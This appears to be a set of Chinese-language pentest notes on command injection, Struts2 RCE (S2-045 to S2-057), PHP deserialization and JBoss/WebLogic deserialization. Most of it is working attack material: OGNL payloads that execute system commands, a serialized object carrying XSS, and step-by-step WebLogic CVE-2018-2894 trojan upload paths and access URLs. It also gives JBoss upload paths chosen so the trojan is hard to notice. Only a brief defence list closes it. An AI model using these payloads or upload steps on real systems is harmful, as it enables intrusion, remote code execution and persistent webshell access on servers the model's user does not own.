一、远程代码执行
1.在用户执行操作的时候ping操作的时候没有对命令进行严格控制,使其可以通过&、&&、|、||、;等可以执行其他命令
例:ping 127.0.0.1;ipconfig可以执行ping操作的同时,也可以直接执行ipconfig命令。
防范:可以对token值进行判断,同时进行白名单过滤限制只可以输入数字。
2.struts2远程代码执行漏洞
s2-045 漏洞及其以前漏洞:使用k8工具执行
s2-048 漏洞使用 s2-048.py来进行执行使用
s2-052 漏洞使用meterpreter来进行还原使用
s2-057 漏洞
前提条件:需要参数alwaysSelectFullNamespace被设置为true并且将配置文件struts-actionchaining.xml 删掉namespace属性,或使用了通配符*最后把type="chain"改成type="redirectAction"。
攻击payload:
http://192.168.0.127:8080/struts2-showcase/${(1+1)}/actionChain1.action
${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc.exe')}
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
二、PHP反序列化
使用魔术符号才会存在反序列化漏洞
反序列化漏洞需要我们提前知道变量的名称等信息,这样我们直接修改变量值就可以直接实现了。
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
在线工具:https://www.w3cschool.cn/tools/index?name=unserialize
三、java反序列化漏洞
默认端口:jboss:8080、Weblogic:7001、redis:6379
1.jboss漏洞使用工具
上传木马需要找到存在jsp文件的地方然后进行上传木马不容易被发现。
上传路径:/jboss/common/deploy/jmx-console/ 目录下
jboss其他工具下载:https://github.com/yunxu1/jboss-_CVE-2017-12149
2.weblogic
weblogic 低版本存在弱口令漏洞,weblogic weblogic登录
还可以利用反序列化工具进行连接,路径为:http://192.168.0.93:7001 然后开始检测
2.cve 2018-2894 漏洞
以192.168.0.127 为例
未授权访问路径:http://192.168.0.127:7001/ws_utc/config.do
Weblogic默认路径:
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\tmp\WSTestPageWorkDir
我们改成以下路径C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wstestclient\i7n5e1\war\css
木马上传上去之后,访问方式如下:http://192.168.0.127:7001/ws_utc/css/config/keystore/1567568546449_2019.jsp
其中文件名是响应包中的id+木马名称.jsp
3.weblogic的ssrf漏洞可以探测内内网,发现开放的端口和IP地址,也可以发现redis服务,redis很多都是存在未授权访问漏洞。
参考:https://www.jianshu.com/p/97b157a20108
四、漏洞防范
(1)使用disable_functions函数进行黑名单过滤一些系统命令
(2)升级中间件
(3)看个控制传入变量,严禁使用魔法函数。